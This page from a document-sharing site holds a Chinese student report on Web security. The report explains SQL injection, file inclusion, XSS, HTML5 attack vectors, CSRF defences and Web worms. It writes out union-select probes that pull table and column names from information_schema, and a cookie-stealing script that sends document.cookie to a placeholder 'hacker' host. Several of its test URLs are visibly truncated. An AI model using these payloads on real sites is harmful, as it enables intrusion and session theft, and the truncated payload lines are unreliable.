收藏 分销(赏)

Web前端的认识和理解教学文稿.doc

上传人:w****g 文档编号:3851139 上传时间:2024-07-22 格式:DOC 页数:18 大小:419KB
下载 相关 举报
Web前端的认识和理解教学文稿.doc_第1页
第1页 / 共18页
Web前端的认识和理解教学文稿.doc_第2页
第2页 / 共18页
Web前端的认识和理解教学文稿.doc_第3页
第3页 / 共18页
Web前端的认识和理解教学文稿.doc_第4页
第4页 / 共18页
Web前端的认识和理解教学文稿.doc_第5页
第5页 / 共18页
点击查看更多>>
资源描述

1、精品文档Web前端认识班级:0441104姓名:夏维 ;王波 学号:2011211830 ;2011211832授课教师:董涛 对Web前端的认识由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对Web应用的攻击上。根据Gartner的最新调查,信息安全攻击有75%都是发生在Web应用而非网络层面上。同时,数据也显示,三分之二的Web站点都相当脆弱,易受攻击。然而现实确是,绝大多数企业将大量的投资花费在网络和服务器的安全上,没有从真正意义上保证Web应用本身的安全,给黑客以可乘之机。一、Web的介绍1、 web的起源Web是World Wide Web的简称,中文称之

2、为万维网,是用于发布、浏览、查询信息的网络信息服务系统,由许多遍布在不同地域内的Web服务器有机地组成2、 Web架构的精妙处从技术层面上看,Web架构的精华有三处:用超文本技术(HTML)实现信息与信息的连接;用统一资源定位技术(URL)实现全球信息的精确定位;用新的应用层协议(HTTP)实现分布式的信息共享。3、 Web技术涉及的技术Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此,Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。(1)客户端技术HTML语言的诞生Web客户端的主要任务是展现信息内容,HTML语言是信息展现的

3、最有效载体之一。作为一种实用的超文本语言, 1990年,第一个图形化的Web浏览器World Wide Web终于可以使用一种为Web度身定制的语言-HTML来展现超文本信息了。从静态信息到动态信息最初的HTML语言只能在浏览器中展现静态的文本或图像信息,随后由静态技术向动态技术逐步转变。1997年,Microsoft发布了IE 4.0,并将动态HTML标记、CSS和动态对象模型发展成了一套完整、实用、高效的客户端开发技术体系,Microsoft称其为DHTML。同样是实现HTML页面的动态效果,DHTML技术无需启动Java虚拟机或其他脚本环境,可以在浏览器的支持下,获得更好的展现效果和更高

4、的执行效率。为了在HTML页面中实现音频、视频等更为复杂的多媒体应用,又引入了对QuickTime插件的支持。Real player插件、Microsoft自己的媒体播放插件Media Player也被预装到了各种Windows版本之中。随后Flash插件的横空出世。(2)服务端技术与客户端技术从静态向动态的演进过程类似,Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的。二、漏洞挖掘 漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件或者PE文件的漏洞挖掘技术.在针对

5、ELF文件 PE文件如*.exe与*.dl的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘

6、技术.例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.WEB漏洞的分类1、 SQL注入SQL注入漏洞,是依靠存在弱点的WEB脚本代码,

7、来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.2、文件包含类型,如PHP的的远程 本地文件包含漏洞 文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则

8、可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.3、 XSSXSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个

9、漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.同时例如session骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.二、WEB漏洞挖掘规则漏洞挖掘规则需要一个WEB浏览器,如IE Firefox等即可,无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法例如:http:/website/index1.php?id=alert(111),如果对方的代码过滤了双引号,那么可以通过http:/website/index1.php?id=al

10、ert(111),采用单引号测试,若单引号也过滤呢?OK,我们这样来测试http:/website/index1.php?id=alert(111),使用数字提交,这样测试XSS的漏洞就扩展到了三条,通过构造HTML语句来实现XSS漏洞的挖掘等等. XSS的漏洞挖掘规则http:/website/index1.php?id=alert(111)http:/website/index1.php?id=alert(111)http:/website/index1.php?id=alert(111)http:/website/index1.php?id=http:/website/index1.ph

11、p?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,可以找到一些XSS漏洞。下面的这

12、四个语句判断是否存在mysql注入,其中号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下:)http:/website/index1.php?id=1http:/website/index1.php?id=1and 1=1http:/website/index1.php?id=1and 1=2http:/website/index1.php?id=1order by 4 /4为判断该表的列数,直到猜测到为止下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4http:/website/index1.php?id=1and 1=1 uni

13、on select 1,2,3,4http:/website/index1.php?id=1and 1=1 union select version(),database(),user(),4http:/website/index1.php?id=1and 1=1 union select 1/*http:/website/index1.php?id=1and 1=1 union select version()/*http:/website/index1.php?id=1and 1=1 union select databse()/*猜测表名:http:/website/index1.php

14、?id=1and 1=1 union select 1,2,3,4 from database.table where 1=2/where 1=2 不打印猜测表的内容admin user articles news必须在指定select的字段个数再使用,否则mysql会报错.http:/website/index1.php?id=1and 1=1 union select table_schema,table_name,table_rows,table_count from information_schema.tables /上面使用数据库的元数据来获取mysql的信息,前提是系统管理员没有

15、禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.在开始分析mysql数据库到底可以执行到那种程度的注入情况下分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息, information_schema数据库用到的表的具体字段1: KEY_COLUMN_USAGE表constraint_schema: 存放数据库名table_schema: 存放数据库名table_name: 存放数据库表信息column_name:

16、 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息2: SCHEMA表schema_name: 存放数据库名default_charater_set_name: 存放charset类型default_collation_name: 存放charset相关信息3: SCHEMA_PRIVILEGES表grantee: 存放数据库用户名table_schema: 表名privilege_type: 权限4: STATISTICS表table_schema: 存放数据库名table_name: 存放表名index_schema: 数据库名index_name: 是否缩引column_n

17、ame: 存放索引自增字段5: TABLES表table_schema: 存放数据库名table_name: 存放表名table_type: 表类型 SYSTEM or BASE TABLEengin: MEMORY MYISAM InnoDBversion:table_rows:表的行数auto_increment: 自增的总行数create_time: 创建表的时间update_time: 更新表的时间create_options: 创建表时的约束条件有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果. 猜测列名:http:/website/

18、index1.php?id=1and 1=1 union select username,2,3,4 from user where 1=2按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password:)C: 文件包含漏洞文件包含漏洞的测试,有以下几个比较简单且有效的办法.1: 新建一个简单的php代码,如:,保存为*.txt格式2: 新建一个简单的php代码,如:,保存为无后缀格式然后我们测试时只需要采取下

19、面简单的办法即可,这里我们假设我们下面的文件URL为漏洞规则http:/website/file.php?inc=http:/website/file.php?inc=http:/website/file.php?inc=http:/website/file.php?inc=使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.例如从XSS漏洞的检测规则可能会发现包含文件漏洞,如果知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),假设http:/website/file.php?inc=test,这里的参数inc经过

20、PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞http:/website/file.php?inc=11111111111.n(n为触发漏洞的最大字符数)当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.三:XSS的概述最重要的要了解XSS漏洞的是,他们是目前为止发现的,在所有网站超过80比例的定制Web应用程序中最常见的漏洞。虽然跨站点脚本在一段时间内一直被认为是中等程度的的漏洞,但XSS蠕虫和病毒的出现,已经提高了XSS的评估。软件开发人员和安全专

21、业人员需要知道它是多么简单,以防止代码开发过程中出现XSS漏洞,并且一经查出,他们是多么容易解决。XSS是一种攻击技术,它使得一个网站,写出攻击者提供的可执行代码,然后加载在用户的Web浏览器。也就是说,当黑客使用存在漏洞的网站作为攻击的通道时,用户是预定的受害者。1、非持久性xss 想想看,一个黑客想使用“http:/victim/”网站对用户进行XSS攻击。黑客会采取的第一个步骤是在http:/victim/找出一个XSS漏洞,然后构造一个特制的URL,也被称为链接。要做到这一点,黑客会搜寻网站上的客户端提供的数据可以被发送到Web服务器,然后回显到屏幕上的任何功能,比如搜索框。常见的在线

22、发布的博客。XSS漏洞往往出现在搜索框表单。在搜索字段中输入“test search”,响应页面将用户输入的文本在显示在三个不同的位置,查询字符串中包含值为“test+search”的“search”参数。这个URL值可以在运行时更改,甚至包括HTML / JavaScript的内容。http:/victim/ ,http:/victim/search.pl?search=test+search其3展示了原来的搜索词被替换为下面的HTML / JavaScript代码时会发生什么:Example 1.”alert(XSS%20Testing)结果页面弹出了一个无害的警告对话框。根据提示,提交的

23、代码已经成为web页面的一部分,证明了JavaScript已进入到http:/victim/的上下文并得到执行。其4展示了夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。其3,原来的搜索词将被替换为HTML/ JavaScript代码。其4,夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。此时,黑客将会继续修改这个URL,包含更复杂的XSS攻击来利用用户。一个典型的例子是一个简单的cookie盗窃的攻击。Example 2.“var+img=new+Image();img.src=”http:/hacker /”%20+%20docume

24、nt.cookie;前面的JavaScript代码创建一个图像DOM(文档对象模型)对象。var img=new Image();因为JavaScript 代码在“http:/victim/”上下文中执行,所以它可以访问cookie数据。document.cookie;图形对象然后指派一个外域的URL发送带有Web浏览器的Cookie字符串的数据到“http:/hacker/”。img.src=”http:/hacker /” + document.cookie;下面是一个例子,是一个被发送的HTTP请求。Example 3. GET http:/hacker/path/_web_browse

25、r_cookie_data HTTP/1.1 Host: host User-Agent: Firefox/1.5.0.1 Content-length: 0一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接,试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件7中的链接是因为这个URL包含了真正的网站域名,而不是一种外观相似的域名或随机的IP地址。应当注意的是,过长的XSS链接可以使用URL缩短服务,如TinyURL.com进行伪装。2、持久型XSS持久型XSS攻击最常发生在由社区内容驱动的网站或Web邮件网站,不需要特制的

26、链接来执行。黑客仅仅需要提交XSS漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。这使得持续性的XSS的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的URL来希望不知情的用户中招。即使用户对非持续性XSS的URL懂得识别,也会很容易的受到影响。无论使用非持续性或持续性的XSS漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法。2、传播的方法对于一个病毒或蠕虫想要成功,它需要一个执行和传播

27、的方法。电子邮件病毒通常在鼠标点击后执行,然后通过您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造DDoS僵尸网络,垃圾邮件僵尸,或远程键盘监控的能力。XSS蠕虫与其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶意代码,XSS蠕虫和病毒通过控制Web浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播。例如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论。XSS蠕虫病毒可能会使得浏览器进行发送电子邮件,转账

28、,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。在最后一节中,我们将重点放在XSS漏洞本身,以及用户可以怎么样被利用。现在,我们来看XSS恶意软件是如何可以进行远程通信。XSS漏洞利用代码,通常是HTML / JavaScript,使用三种方式使得浏览器发送远程HTTP请求的浏览器:嵌入式的HTML标签,JavaScript DOM的对象,XMLHTTPRequest。3、嵌入式HTML标签一些HTML标签具有在页面加载时会自动发起Web浏览器的HTTP请求的属性。有一个

29、例子是IMG的SRC属性。SRC属性用于指定在Web页面中显示的图像文件的URL地址。当你的浏览器载入带有IMG标签的网页,图像会自动被请求,并在浏览器中显示。但是,SRC属性也可以被用于任何Web服务器的其他URL,不仅仅是包含图像的。例如,如果我们进行了谷歌搜索“WhiteHatSecurity”我们最终得到了下面的URL:这个URL可以很容易地取代IMG内的SRC属性的值,从而迫使您的Web浏览器中执行相同的谷歌搜索。显然使得Web浏览器发送一个谷歌搜索请求是没有什么危害性的。然而,URL构建的同样的过程可以用来使得Web浏览器自动进行银行账户资金的汇款,发表煽动性言论,甚至入侵网站。这

30、一点可以说明,这是一个迫使一个Web浏览器连接到其他网站,使的XSS蠕虫病毒传播的机制。5、JavaScript和文档对象模型JavaScript被用于给网站访问者一个丰富的、交互式的体验。这些网页更接近于一个软件应用程序,而不是一个静态的HTML文档。我们常会看到JavaScript被用于进行图像的翻转,动态表单输入检查,弹出对话框,下拉菜单,拖动和拖放等。JavaScript有接近完全的对网站上的每一个对象,包括图像,cookies,窗口,框架和文本内容的访问。这些对象中的每一个都是文档对象模型的一部分。DOM提供了一系列JavaScript读取和操作的应用程序编程接口。类似嵌入式HTML

31、标签的功能,JavaScript可以操纵DOM对象自动发起Web浏览器的HTTP请求。图像和窗口的源URL可以被重新指定为其他URL的。我们可以使用JavaScript来改变图像的DOM对象SRC进行谷歌搜索“WhiteHat Security”。img0.src = Search;迫使Web浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了XSS恶意软件传播的另一种方法。四、HTML5安全五种可能会利用HTML5的功能进行攻击的方法:1、表单篡改:另一个新功能让攻击者可以在被注入JavaScript的网站(例如XSS攻击)中更改该网页上的表单行为。举例来说,攻击者可以改变

32、一个网络商店的正常行为,不是将内容送到购买或是登录页面,而是将用户的身分认证信息发送到攻击者自己的网站。2、利用地理定位追踪受害者:地理定位是HTML5新功能中最受注目的一个。因为安全和隐私的考虑,网站必须先得到用户的批准,随后才能获得位置讯息。然而就和以前出现过的其他功能一样,例如Vista的用户帐户控制,Android的应用程序权限,还有无效的HTTPS凭证等,这些需要用户作决定的安全措施几乎没有任何效果。而一旦有了授权,网站不仅可以知道受害者的位置,而且还可以在用户移动时对其进行实时追踪。3、利用桌面通知做社会工程学攻击:我们在HTML5 的五大优秀功能文章中曾经提到过HTML5的一个新

33、功能:桌面通知。这些出现在浏览器之外的弹出窗口,其实是可以用HTML程序代码进行定制的。虽然这种 功能带来了很不错的交互方式,但也可能导致社会工程学攻击,例如网络钓鱼或者假冒杀毒软件等。看看下面的图片就可以想象到,攻击者可以如何利用这个新功能 了。4、利用跨域请求或WebSockets的端口扫描:有了HTML5,浏览器现在可以连到任何IP地址或网站的(几乎)任何端口。虽然除非目标网站有特别的允 许,不然并不能接收到来自任意端口连接的回应,但是研究人员表示,这类请求所花的时间可以用来判断目标端口是打开的还是关闭的。因此攻击者就可以直接利用 浏览器对受害者的内部网络进行端口扫描。5、点击劫持更加容

34、易:点击劫持本身不是种新的攻击,这种攻击的目的是窃取受害者的鼠标按钮点击,然后将点击定向到攻击者所指定的其他页面。攻击者的目的是让 用户在不知情的情况下点击隐藏的链接。目前,对于点击劫持最好的服务器端防御措施之一是被称为Framekilling的技术。本质上来说,受到影响的网 站可以利用JavaScript来验证自己是否在一个iframe中运行,如果是的话,就拒绝显示页面内容。这种技术已经被在用在Facebook、Gmail和其他一些网站中。但是HTML5在iframe中增加了一个新的沙盒属性,该属性会让网站停止执行JavaScript脚本。在大多数情况 下,这其实是比较安全的做法,但也存在缺

35、点,就是会抵消目前对点击劫持最好的防御措施。五、CSRFCSRF是跨站请求伪造,也被称为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本,但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行和难以防范,所以被认为比XSS更具危险性。即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL,从而达到改变服务器端数据的目的。这一类攻击依赖于你的网页中的表单,脆弱的表单很容易受

36、到攻击。对于你网站中的访问者而言,可能会受到以下攻击:在你的网站之外记录受攻击者的日志(比如:Slashdot);修改受攻击者在你的网站的设置(比如:Google);修改你的硬件防火墙;使用受攻击者的登录信息在你的网站中发表评论或留言; 将资金转移到另一个用户帐号中。CSRF 攻击的典型是那些使用 cookie 记录登录信息的网站,但对于一些允许某个 IP 地址访问的页面(如内部网),这一类攻击也会奏效。CSRF 攻击通常会使用到 JavaScript(但不仅限于 JavaScript)实现跨站点自动提交表单表单数据可以隐藏,提交按钮可以伪装成链接或滚动条。 确定那些接受可改变服务器数据的 C

37、GI 只接受 POST 参数,不接受 GET 参数,一些服务器端语言默认同时接受两种方式提交过来的参数;确定表单提交处理的是你自己的表单,可以使用一个隐藏字段中存放MD5字符串,此字符串是将登录 cookie 数据与服务器端存放的密钥进行 MD5 之后的结果,只有这个 MD5 字符串正确时才接受表单数据;另外还可以增加一个更为严格的方法:在表单中增加一个时间戳的隐藏字段,并将其包含到 hash 字符串中,如果时间戳超过某个时间,则认为表单已过期。当表单过期时,给出一个方法可以让用户重新提交表单,比如将用户之前填写的数据依旧放入表单中,但使用一个新的 hash 字符串。一个PHP的表单例子,表单

38、代码:?php$key = y8s4Z7m2; /MD5加密密钥$time = time(); /当前时间$hash = md5($time.$key); /hash 字符串?form method=post action=comment.phppYour name: input type=text name=person_name /ppComment: /textarea name=comment rows=10 cols=60/textarea/pinput type=hidden name=time value=?php echo $time; ? /input type=hidden

39、 name=hash value=?php echo $hash; ? /pinput type=submit name=comment value=Submit Comment /p/form表单提交之后的 comment.php 后台处理程序代码:?php$key = y8s4Z7m2; /密钥,与上面的一致$expire = 1800; /表单过期时间:半小时$my_hash = md5($_POSTtime.$key); /正确的 hash 字符串if ($my_hash != $_POSThash) /hash 字符串不正确die(非法表单提交。);if (time() - $_PO

40、STtime $expire) /表单已经过期,生成新的时间戳和 hash 字符串,显示表单让用户重新提交。(此处省略)/./表单验证通过,可以接受表单提交的数据,并进行其它操作。六、Web蠕虫Web蠕虫主要包括:XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫,这三类蠕虫都与具体的漏洞风险有关系,从名字上很好分。还有第四类文本蠕虫。蠕虫性质:传播性,病毒性为。什么是xss蠕虫蠕虫病毒,比如前几年比较猖獗的熊猫烧香,还有最近Conficker蠕虫。这些蠕虫的特性都是具有自传播,感染,变形等。最近流行的猪流感按照理论也算蠕虫病毒。而近年来由于ajax流行,web2.0的一些特性,使得web

41、蠕虫流行。任何一个蠕虫都不无原缘无故发作的,比如熊猫烧香是利用挂马,远程扫描等方式感染的,而这归根结底还是系统有漏洞。那么web蠕虫的切入点就是web有漏洞了。从03年脚本入侵流行一来,sql注射就是最流行的入侵方式,但是由于现在人们的安全意识的提高,sql漏洞越来越少,xss的漏洞就开始凸显出来,而xss可以使我们嵌入任意我们需要的代码,比如盗个cookie等,当别人访问的时候会吧自己的发送到你指定的文件里去。一个xss蠕虫都有什么基本功能之前在说熊猫烧香之类的蠕虫病毒已经说过了这个内容,传播感染和变形,而现在web蠕虫先不用发展那么高级,而我们只需要写出传播和感染就行,至于变形,除非漏洞被

42、过滤了我们还需要绕过那么就需要一定得变形,而这种变形一般不会影响我们写的蠕虫文件,会影响到调用蠕虫文件的代码。CSRF蠕虫原理与XSS蠕虫基本类似,只是这里用到的是CSRF,攻击代码存在于攻击者的页面中,目标网站传播的内容都包含攻击者页面URL,这样才能有货目标网站上的被攻击者打开攻击者页面,然后出发CSRF,CSRF会据需跨域发布含攻击者页面URL的内容进行传播。八、Web面临的安全威胁来自网络上的安全威胁与攻击多种多样,依照Web访问的结构,可将其分类为对Web服务器的安全威胁、对Web客户机的安全威胁和对通信信道的安全威胁三类。(一)对Web服务器的安全威胁对于Web服务器、服务器的操作

43、系统、数据库服务器都有可能存在漏洞,恶意用户都有可能利用这些漏洞去获得重要信息。Web服务器上的漏洞可以从以下几方面考虑:1、在Web服务器上的机密文件或重要数据,如存放用户名、口令的文件放置在不安全区域,被入侵后很容易得到。2、在Web数据库中,保存的有价值信息,如商业机密数据、用户信息等,如果数据库安全配置不当,很容易泄密。3、Web服务器本身存在一些漏洞,能被黑客利用侵入到系统,破坏一些重要的数据,甚至造成系统瘫痪。4、程序员的有意或无意在系统中遗漏Bugs给非法黑客创造条件。用CGI脚本编写的程序中的自身漏洞。(二)对Web客户机的安全威胁现在网页中的活动内容已被广泛应用,活动内容的不

44、安全性是造成客户端的主要威胁。网页的活动内容是指在静态网页中嵌入的对用户透明的程序,它可以完成一些动作,显示动态图像、下载和播放音乐、视频等。当用户使用浏览器查看带有活动内容的网页时,这些应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。主要用到Java Applet和ActiveX技术。Java Applet使用Java语言开发,随页面下载,Java使用沙盒根据安全模式所定义的规则来限制Java Applet的活动,它不会访问系统中规定安全范围之外的程序代码。但事实上Java Applet存在安全漏洞,可能被利用进行破坏。ActiveX是微软的一个控件技术,它封装由网页设计者放在网页中来执行特定的任务的程序,可以由微软支持的多种语言开发但只能运行在Windows平台。ActiveX在安全性上不如Java Applet,一旦下载,能像其他程序一样执行,访问包括操作系统代码在内的所有系统资源,这是非常危险的。Cookie是Netscape公司开发的,用来改善HTTP的无状态性。无状态的表现使得制造像购物车这样要在一定时间内记住用户动作的东西很难。Cookie实际上是一段小消息,在浏览器第一次连接时由HTTP服务器送到浏览器端,以后浏览器每次连接都把这个C

展开阅读全文
相似文档                                   自信AI助手自信AI助手
猜你喜欢                                   自信AI导航自信AI导航
搜索标签

当前位置:首页 > 教育专区 > 其他

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        获赠5币

©2010-2024 宁波自信网络信息技术有限公司  版权所有

客服电话:4008-655-100  投诉/维权电话:4009-655-100

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :gzh.png    weibo.png    LOFTER.png 

客服